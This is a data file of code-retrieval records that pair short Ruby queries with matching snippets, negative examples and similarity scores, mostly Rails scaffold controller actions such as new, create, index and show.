[ "0.6624323", "0.6616378", "0.6532649", "0.6506247", "0.65031755", "0.62527263", "0.61437446", "0.5997392", "0.583226", "0.58318615", "0.5689034", "0.5671381", "0.5647143", "0.5634113", "0.5617625", "0.56017053", "0.5578527", "0.5572745", "0.55164605", "0.5498923", "0.5498923", "0.5490334", "0.548755", "0.54716784", "0.54716784", "0.5469368", "0.5443844", "0.541738", "0.54044664", "0.5403828", "0.5394431", "0.5388254", "0.5384499", "0.5379792", "0.5376856", "0.5366779", "0.5365723", "0.5342845", "0.53284633", "0.53268534", "0.532645", "0.5321477", "0.53191316", "0.5318166", "0.53150254", "0.53150254", "0.53150254", "0.53150254", "0.53150254", "0.53150254", "0.53150254", "0.53103733", "0.5309837", "0.53003484", "0.5296769", "0.5293604", "0.5289642", "0.5288256", "0.5287227", "0.52841806", "0.5280321", "0.52756214", "0.52756214", "0.52756214", "0.52756214", "0.52756214", "0.52756214", "0.52756214", "0.52756214", "0.5272696", "0.5266442", "0.5266442", "0.5266442", "0.5266442", "0.52585316", "0.52512217", "0.52468365", "0.5245684", "0.52453786", "0.52442455", "0.52400124", "0.52338237", "0.52287394", "0.5223329", "0.5202553", "0.5195915", "0.5187294", "0.51849985", "0.51843", "0.5183125", "0.51831007", "0.51820815", "0.51772", "0.51765054", "0.51705563", "0.51613593", "0.51598924", "0.5148928", "0.51458365", "0.51447755" ]
0.6979638
0
here will be your CLI! it is not an AR class so you need to add attr
def run @user = "" welcome login_or_signup say_hi_to_user initial_menu end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def attr; end", "def attr(name); end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attribute(name); end", "def attributes=(_arg0); end", "def attributes\n end", "def initialize(args)\n @attributes = args\n end", "def initialize attr={}\n super\n self.attributes = attr\n end", "def g_model str # rails generate model ..., just like in shell\n cmd = \"rails generate model #{str}\"\n puts %x[ #{cmd} ]\n end", "def print_attribute(*) end", "def attr_info; end", "def attributes(*args)\n attr_accessor(*args)\n end", "def initialize(attr={})\n super\n end", "def setup_object_attributes; end", "def command\n attributes.fetch(:command)\n end", "def command\n attributes.fetch(:command)\n end", "def attributes\n @attributes ||= @args.collect do |attribute|\n Neo4jrGen::GeneratedAttribute.new(*attribute.split(\":\"))\n end\n end", "def attribute=(_arg0); end", "def attribute=(_arg0); end", "def attributes\n end", "def initialize(model)\n\t\t\t@name = model.to_s\n\t\t\t@ar_model = ARModel.new(model)\n\t\t\t\n\n\n @api_model = APIModel.new(model, Hash[@ar_model.schema])\n\t\t\t@field_relationships = generate_field_relationships(@ar_model.schema)\n\t\t\tputs @field_relationships\n\t\tend", "def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end", "def attributes\n #[Attribute.new(@args)]\n [Field.new(@args)]\n end", "def initialize(args)\n super(args)\n @hidden = false\n @slice_name = \"Model\"\n # get the slice commands map for this slice (based on the set\n # of commands that are typical for most slices)\n @slice_commands = get_command_map(\"model_help\",\n \"get_all_models\",\n \"get_model_by_uuid\",\n \"add_model\",\n \"update_model\",\n \"remove_all_models\",\n \"remove_model_by_uuid\")\n # and add any additional commands specific to this slice\n @slice_commands[:get].delete(/^(?!^(all|\\-\\-help|\\-h|\\{\\}|\\{.*\\}|nil)$)\\S+$/)\n @slice_commands[:get][:else] = \"get_model_by_uuid\"\n @slice_commands[:get][[/^(temp|template|templates|types)$/]] = \"get_all_templates\"\n end", "def class_attributes; end", "def initialize(args={})\n @id = args[\"id\"] || \"\"\n @name = args[:name] || args[\"name\"]\n @description = args[:description] || args[\"description\"]\n @rating_id = args[:rating_id] || args[\"rating_id\"]\n @studio_id = args[:studio_id] || args[\"studio_id\"]\n @length = args[:length] || args[\"length\"]\n end", "def initialize\n @attribute = 'truite'\n @accessor = 'pouet'\n end", "def arguments\n self.class.dry_initializer.attributes(self)\n end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command(type)\n end", "def run\n super\n create_easy_attribute_source\n add_attribute_to_type\n end", "def command\n @attributes['command']\n end", "def initialize(args = {})\n @attributes = {}\n args.each do |k, v|\n self.send :\"#{k.to_s}=\", v\n end\n\n end", "def type\n \"AttributeDefinition\"\n end", "def initialize(options={})\n @attributes = options\n end", "def attributes(*args)\n args.each { |attr| attribute(attr) }\n end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def attributes(*args)\n args.each do |attr|\n attribute(attr)\n end\n end", "def attribute(*args)\n define_expressions(Attribute, args)\n end", "def test_attribute_persistence\n tested 'attributes rms.jpg --img class=\"goaway\"'\n\n test_attributes\n end", "def attrs\n self.class.attrs\n end", "def make_and_model; end", "def define_attr_accessor(attr)\n attr_accessor(attr)\n end", "def camCommand _obj, _args\n \"_obj camCommand _args;\" \n end", "def subcommand() __subcommand__ end", "def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # the name of the space to add to the model\n proj_name = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"mongo_methods\", true)\n proj_name.setDisplayName(\"Mongo method assignment test.\")\n proj_name.setDescription(\"This name will be used as the name of this test.\")\n # args << space_name\n\n return args\n end", "def instance_attributes; end", "def skill _obj, _args\n \"_obj skill _args;\" \n end", "def attrs\n @options[:attrs]\n end", "def install_attr(attr)\n #Add reader/writer\n inner = code_attr(attr)\n estr = \"class Qml::#{@class}\\n #{inner}\\n end\"\n eval(estr, nil, attr.file, attr.line)\n @cache_load << [:accessor, @class, inner]\n\n name = attr[2]\n\n if(!Special.include? name)\n @init += \"Qml::prop_add(self, #{name.inspect})\\n\"\n end\n end", "def arguments(model)\n #list of arguments as they will appear in the interface. They are available in the run command as\n @argument_array_of_arrays = [\n [ \"variable_name\", \"type\", \"required\", \"model_dependant\", \"display_name\", \"default_value\", \"min_value\", \"max_value\", \"string_choice_array\", \t\"os_object_type\"\t],\n [ \"lib_file_name\", \"STRING\", true, false, \"Lib File Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n [ \"construction_set_name\", \"STRING\", true, false, \"Construction Set Name\", nil, nil, nil, nil, \t nil\t\t\t\t\t],\n \n #Default set for server weather folder.\n [ \"lib_directory\", \"STRING\", true, false, \"Lib Directory\", \"../../lib/btap/resources/constructions\", nil, nil, nil,\t nil\t\t\t\t\t]\n \n ]\n #set up arguments. \n args = OpenStudio::Ruleset::OSArgumentVector.new\n self.argument_setter(args)\n return args\n end", "def command_builder; end", "def model\n end", "def cmd; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def commands\n self.class.commands\n end", "def initialize\n @am = RDoc::Markup::AttributeManager.new\n @output = nil\n end", "def initialize\n super\n\n add_command({\n :name => \"abbreviations\",\n :description => \"Prints a CSV of identifiers and abbreviations\",\n :directory => \"mappings/country-ca-abbr\",\n })\n\n add_command({\n :name => \"numeric\",\n :description => \"Prints a CSV of identifiers and numeric identifiers\",\n :directory => \"mappings/country-ca-numeric\",\n })\n\n add_command({\n :name => \"urls\",\n :description => \"Prints a CSV of identifiers and URLs\",\n :directory => \"mappings/country-ca-urls\",\n })\n end" ]
[ "0.65184337", "0.63212156", "0.61969703", "0.61969703", "0.61969703", "0.61969703", "0.61969703", "0.61969703", "0.61969703", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6149753", "0.6065362", "0.60548633", "0.5960745", "0.5923169", "0.58959574", "0.58873713", "0.5878424", "0.58299184", "0.5780857", "0.576539", "0.5757351", "0.5751785", "0.5751785", "0.57447356", "0.5741283", "0.5741283", "0.5666217", "0.56306535", "0.5628743", "0.5625193", "0.55976075", "0.5588625", "0.5583568", "0.5582432", "0.5582337", "0.55784404", "0.55784404", "0.55784404", "0.55784404", "0.55784404", "0.55784404", "0.5574528", "0.5557472", "0.5554518", "0.55478597", "0.5540873", "0.5539109", "0.55091494", "0.5503946", "0.5503946", "0.5503946", "0.550115", "0.5490523", "0.5447037", "0.5445238", "0.54295987", "0.54269075", "0.5426088", "0.5417062", "0.54082435", "0.5397062", "0.53962696", "0.53901184", "0.53880143", "0.5377765", "0.5377454", "0.5367438", "0.5341239", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.53398365", "0.5332089", "0.5328653", "0.5326292" ]
0.0
-1
GET /enrolled_scores/1 GET /enrolled_scores/1.json
def show @enrolled_score = EnrolledScore.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render :json => @enrolled_score } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @enrolled_score = EnrolledScore.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled_score }\n end\n end", "def index\n @scores = Score.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scores }\n end\n end", "def index\n @username_scores = UsernameScore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @username_scores }\n end\n end", "def index\n @high_scores = HighScore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @high_scores }\n end\n end", "def show\n @enrolled = Enrolled.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @enrolled }\n end\n end", "def index\n @scores = Score.all\n end", "def index\n @scores = Score.all\n end", "def index\n @score_evaluations = ScoreEvaluation.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @score_evaluations }\n end\n end", "def index\n @scores = Score.all \n end", "def show\n @enrolled = Enrolled.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enrolled }\n end\n end", "def scores\n response[\"scores\"]\n end", "def index\n @request_scores = RequestScore.all\n end", "def show\n @username_score = UsernameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @username_score }\n end\n end", "def index\n @enrolleds = Enrolled.all\n @courses = Course.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enrolleds }\n end\n end", "def index\n authorize Score\n @scores = Score.all\n end", "def index\n @challenge_scores = ChallengeScore.all\n end", "def index\n @user_scores = UserScore.all\n end", "def show\n @score = Score.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @score }\n end\n end", "def show\n @score = Score.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @score }\n end\n end", "def show\n @score = Score.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @score }\n end\n end", "def index\n @test_scores = @participant.test_scores.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @test_scores }\n end\n end", "def index\n @scores, @scores_attached = ScoreService.list(current_user.id)\n end", "def show\n @score = Score.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @score }\n end\n end", "def index\n @question_scores = QuestionScore.all\n end", "def create\n @enrolled_score = EnrolledScore.new(params[:enrolled_score])\n \n respond_to do |format|\n if @enrolled_score.save\n format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @enrolled_score.class.model_name.human) }\n format.json { render :json => @enrolled_score, :status => :created, :location => @enrolled_score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @scores = (@user || @quiz).scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scores }\n end\n end", "def show\n @score_evaluation = ScoreEvaluation.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def scores\n @title_page = 'Scores'\n $game.player.score = params['grade'].to_i\n\n @username = $game.player.username\n @score = $game.player.score\n\n response = Request.post_request(URL_SCORES, {\n username: $game.player.username,\n score: $game.player.score\n })\n\n @scores = Request.manage_response(response)\n\n erb :scores, layout: :template\nend", "def update\n @enrolled_score = EnrolledScore.find(params[:id])\n \n respond_to do |format|\n if @enrolled_score.update_attributes(params[:enrolled_score])\n format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @enrolled_score.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @student_scores = StudentScore.all\n end", "def index\n @analyst_scores = AnalystScore.all\n end", "def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end", "def index\n @boxscores = @game.boxscores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boxscores }\n end\n end", "def index\n @record_scores = RecordScore.all\n end", "def index\n\t\t@scores = @product.scores.all\n\tend", "def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end", "def show\n @aja_score = AjaScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aja_score }\n end\n end", "def index\n @bet_scores = @match.bet_scores\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bet_scores }\n end\n end", "def index\n @candidate_course_scores = @candidate.course_scores\n end", "def show\n @high_score = HighScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @high_score }\n end\n end", "def handle_get\n make_response(200, obtain_scores)\nend", "def scores\n scores = ValueActivity.all\n render json: ValueActivitiesSerializer.new(scores).serializable_hash\n end", "def new\n @username_score = UsernameScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @username_score }\n end\n end", "def index\n @scorecards = Scorecard.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scorecards }\n end\n end", "def new\n @enrolled = Enrolled.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled }\n end\n end", "def read_scores\n end", "def index\n @two_scores = TwoScore.all\n end", "def index\n @classpersonscores = Classpersonscore.all\n end", "def scores\n @scores\n end", "def show\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enrolled_student }\n end\n end", "def index\n @home_scores = HomeScore.all\n end", "def index\n @lesson_learneds = LessonLearned.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_learneds }\n end\n end", "def index\n @w3mmd_elo_scores = W3mmdEloScore.all\n end", "def index\n @rating_scores = RatingScore.all\n end", "def index\n @participant_ratings = ParticipantRating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participant_ratings }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def index\n @scoring_scales = ScoringScale.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scoring_scales }\n end\n end", "def index\n @scores = Score.all\n @high_scores = Score.order(correct: :desc).where.not(:correct => nil)\n @score = session[:score]\n end", "def score(username)\n user = get(\"/v2/identity.json/twitter\", :screenName => username)\n puts user.inspect\n get(\"/v2/user.json/#{user[\"id\"]}/score\")\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score }\n end\n end", "def show\n @title = \"View Team Challenge Score\"\n @challenge_grade = ChallengeGrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @challenge_grade }\n end\n end", "def show\n @test_score = @participant.test_scores.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_score }\n end\n end", "def hourly_scores\n players = Player.all.order(:id)\n\n response_json = []\n\n players.each do |p|\n response_json.push({name: p.name, scores: p.get_hourly_scores})\n end\n\n render json: response_json\n end", "def score\n respond_to do |format|\n if @survey.score\n format.html { redirect_to edit_admins_thriver_path(@user), notice: 'Survey was successfully scored.' }\n format.json { render :show, status: :ok, location: @survey }\n else\n format.html { render :edit }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @five_scores = FiveScore.all\n end", "def index\n @seven_scores = SevenScore.all\n end", "def show\n @lesson_learned = LessonLearned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_learned }\n end\n end", "def index\n @enrolls = Enroll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enrolls }\n end\n end", "def destroy\n @enrolled_score = EnrolledScore.find(params[:id])\n @enrolled_score.destroy\n \n respond_to do |format|\n format.html { redirect_to enrolled_scores_url }\n format.json { head :no_content }\n end\n end", "def new\n @score_evaluation = ScoreEvaluation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def get_scores\n scores = get_from_url(@scores_conn, SCORES_KEY, {})\n scores.sort! {|a, b| a['date_time'] <=> b['date_time']}\n scores.reverse!\n scores.sort! {|a, b| a['score'] <=> b['score']}\n scores.reverse!\n end", "def index\n @grades = Grade.all\n render json: {data: @grades, status: \"SUCCESS\"}, :status => 200\n end", "def index\n @leagues = League.all\n render json: @leagues, status: :ok\n end", "def index\n @reward_and_levels = RewardAndLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reward_and_levels }\n end\n end", "def create\n score = current_user.scores.new(score_params)\n\n if score.save\n render json: score\n else\n render json: { errors: score.errors.join(',') }, status: 422\n end\n end", "def index\n @crate_jumper_high_scores = HighScore.select(\"first_name, game, score\").where(\"game = ?\", \"Crate Jumper\").order(\"score DESC\").limit(10).joins(:user)\n @space_shooter_high_scores = HighScore.select(\"first_name, game, score\").where(\"game = ?\", \"Space Shooter\").order(\"score DESC\").limit(10).joins(:user)\n @zombie_slasher_high_scores = HighScore.select(\"first_name, game, score\").where(\"game = ?\", \"Zombie Slasher\").order(\"score DESC\").limit(10).joins(:user)\n @my_high_scores = HighScore.where(\"user_id = ?\", current_user.id).order(\"score DESC\").limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @high_scores }\n end\n end", "def index\n @winners = Winner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winners }\n end\n end", "def new\n @aja_score = AjaScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aja_score }\n end\n end", "def index\n #@rolls = Roll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rolls }\n end\n end", "def index\n @four_scores = FourScore.all\n end", "def show\n @leaderboard = Leaderboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leaderboard }\n end\n end", "def show\n @score_sheet = ScoreSheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @score_sheet }\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to next_scores_path, notice: 'Score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @score }\n else\n format.html { render action: 'new' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @boxscore = @game.boxscores.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @boxscore }\n end\n end", "def new\n @game_score = GameScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game_score }\n end\n end", "def load_scores(leaderboard_id, scope)\n path = leaderboard_path(leaderboard_id)\n args = {}\n\n if scope.is_a?(Array)\n args[:p] = scope\n else\n args[:t] = scope.to_s.to_camelcase\n end\n\n raw_scores = service.get(path, args)\n raw_scores.collect { |raw_score| Score.new(raw_score) }\n end", "def show\n render json: @games_leaderboard\n end", "def index\n @evaluation_results = EvaluationResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @evaluation_results }\n end\n end", "def index\n @three_scores = ThreeScore.all\n end", "def index\n @hscores = Hscore.all\n end", "def scores\n ids = params[:ids].is_a?(Array) ? params[:ids] : params[:ids].split(/ |\\+/).collect{|i|i.to_i}\n posts = Post.where(id: ids).select('id,score').to_a\n if logged_in?\n rated = current_user.ratings_for(*posts)\n response.headers['Cache-Control'] = 'private'\n else\n response.headers['Cache-Control'] = 'public'\n end\n\n m = {}\n\n posts.each do |r|\n id = r.id\n json = {score: r.score}\n if rated\n json['rated'] = rated[id]\n end\n m[id] = json\n end\n\n respond_to do |format|\n format.json {\n render :json => m\n }\n end\n end", "def show\n @scoring_method = ScoringMethod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scoring_method }\n end\n end", "def score\n return nil if scores.count == 0\n average = Hash.new(0)\n scores.each_with_index do |score, num|\n Score::METRICS.each do |metric|\n average[metric] = (average[metric] * num + score.try(metric))/(num + 1.0)\n end\n end\n ret = {score: average}\n return JSON.generate ret\n end", "def update_score\n question_params = params.require(:question).permit(:id, :score)\n\n render json: Question.update_score(question_params)\n end", "def get_scores\r\n items_db = DYNAMODB.scan(table_name: TABLE_NAME).items\r\n items_hash = make_result_list(items_db)\r\n items = items_hash.sort_by { |hash| hash['score'] }\r\n make_response(HttpStatus::OK, items.reverse().first(10))\r\nend", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def scores_index\n @scores_idx\n end", "def index\n @online_students = OnlineStudent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @online_students }\n end\n end", "def index\n @enrolled_courses = EnrolledCourse.all\n end" ]
[ "0.7364148", "0.713677", "0.70864064", "0.6824758", "0.675787", "0.6751253", "0.6751253", "0.6747894", "0.6723467", "0.6696465", "0.6679241", "0.66767514", "0.6645658", "0.6629436", "0.65871304", "0.65810555", "0.65552485", "0.65534526", "0.65534526", "0.65534526", "0.652552", "0.6524564", "0.6519763", "0.64904565", "0.6459349", "0.6421184", "0.64164114", "0.6375824", "0.63708884", "0.63659585", "0.63537633", "0.6351063", "0.6341797", "0.6331507", "0.63314056", "0.6297667", "0.6276977", "0.62653744", "0.6223371", "0.6193773", "0.61868614", "0.61828816", "0.61728555", "0.616931", "0.6167998", "0.61633366", "0.6155721", "0.6146336", "0.6136829", "0.61276567", "0.61151326", "0.60951376", "0.60938364", "0.6068107", "0.6053752", "0.6053291", "0.6053291", "0.6050241", "0.6049805", "0.6039639", "0.6032255", "0.60240394", "0.60176885", "0.6012649", "0.6007032", "0.6006925", "0.5982971", "0.5980767", "0.59773713", "0.59750456", "0.59632224", "0.59547883", "0.5939221", "0.5915609", "0.59154063", "0.5912631", "0.59072655", "0.58887446", "0.5888395", "0.5885218", "0.58834887", "0.5874406", "0.5869191", "0.5855272", "0.5850008", "0.58489275", "0.5847423", "0.5839013", "0.58308095", "0.5820534", "0.5820377", "0.5819304", "0.5814943", "0.581222", "0.58091795", "0.58049417", "0.5803891", "0.5794316", "0.5774728", "0.57733697" ]
0.79492754
0
GET /enrolled_scores/new GET /enrolled_scores/new.json
def new @enrolled_score = EnrolledScore.new respond_to do |format| format.html # new.html.erb format.json { render :json => @enrolled_score } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score }\n end\n end", "def new\n @enrolled = Enrolled.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled }\n end\n end", "def create\n @enrolled_score = EnrolledScore.new(params[:enrolled_score])\n \n respond_to do |format|\n if @enrolled_score.save\n format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @enrolled_score.class.model_name.human) }\n format.json { render :json => @enrolled_score, :status => :created, :location => @enrolled_score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @username_score = UsernameScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @username_score }\n end\n end", "def new\n @high_score = HighScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @high_score }\n end\n end", "def new\n @game_score = GameScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game_score }\n end\n end", "def new\n @score_evaluation = ScoreEvaluation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to next_scores_path, notice: 'Score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @score }\n else\n format.html { render action: 'new' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @aja_score = AjaScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aja_score }\n end\n end", "def create\n score = current_user.scores.new(score_params)\n\n if score.save\n render json: score\n else\n render json: { errors: score.errors.join(',') }, status: 422\n end\n end", "def new\n @scoring_method = ScoringMethod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scoring_method }\n end\n end", "def new\n @test_score = @participant.test_scores.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_score }\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @leaderboard = Leaderboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leaderboard }\n end\n end", "def new\n @ranking = Ranking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ranking }\n end\n end", "def new\n @leader = Leader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader }\n end\n end", "def new\n @rock = Rock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rock }\n end\n end", "def new\n @box_score = BoxScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @box_score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @score }\n end\n end", "def new\n @bet_score = @match.bet_scores.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet_score }\n end\n end", "def new\n @leader_history = LeaderHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader_history }\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render :show, status: :created, location: @score }\n else\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render :show, status: :created, location: @score }\n else\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @transit_score = TransitScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transit_score }\n end\n end", "def new\n @enrolled_student = EnrolledStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @enrolled_student }\n end\n end", "def new\n @scoring_scale = ScoringScale.new\n @scoring = Scoring.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scoring_scale }\n end\n end", "def new\n @score = Score.new\n @score.date = Time.now-4.hours\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @player_box_score = PlayerBoxScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_box_score }\n end\n end", "def create\n @game_score = GameScore.new(params[:game_score])\n\n respond_to do |format|\n if @game_score.save\n format.html { redirect_to @game_score, notice: 'Game score was successfully created.' }\n format.json { render json: @game_score, status: :created, location: @game_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @evaluationstatus = Evaluationstatus.new\n @title = 'New Evaluation Status'\n @description = 'Add a new evaluation status to the system'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluationstatus }\n end\n end", "def new\n @enrolled = Enrolled.new\n end", "def new\n @ability_score = AbilityScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ability_score }\n end\n end", "def new\n @scorecard = 